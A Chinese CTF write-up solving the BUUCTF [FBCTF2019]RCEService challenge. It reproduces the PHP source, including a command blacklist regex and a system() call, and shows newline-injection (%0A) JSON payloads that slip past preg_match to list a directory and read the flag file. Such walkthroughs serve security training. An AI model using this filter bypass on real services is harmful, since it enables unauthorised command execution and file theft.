BUU:[FBCTF2019]RCEService

打开界面
BUU:[FBCTF2019]RCEService_第1张图片
可以看见提示说要用JSON格式输入cmd中
先尝试一下

{"cmd":"ls"}

BUU:[FBCTF2019]RCEService_第2张图片
出现一个index.php文件
但是获取不到,题目也没有其他信息,然后发现原本题目是提供了源码的,去网上找了找


'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected

'; } else { echo 'Attempting to run command:
'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '

'; } } ?>

可以看到,其中过滤了很多函数命令
但是,preg_match只能匹配第一行的数据,(注:如果我们要匹配所有的数据可以使用preg_match_all函数)
所以这里我们可以采取多行绕过的方式,就要用到换行符 %0A
而源码告诉了路径 putenv(‘PATH=/home/rceservice/jail’);
知道了之前用ls的原因是因为ls的二进制文件放在这个目录下

看看这个路径有啥:

?cmd={%0A"cmd":%20"ls%20/home/rceservice"%0A}

可以看见flag果然在里面
BUU:[FBCTF2019]RCEService_第3张图片
因为已经告诉路径,我们只能用绝对路径去调用系统命令

?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

BUU:[FBCTF2019]RCEService_第4张图片

你可能感兴趣的:(BUUCTF)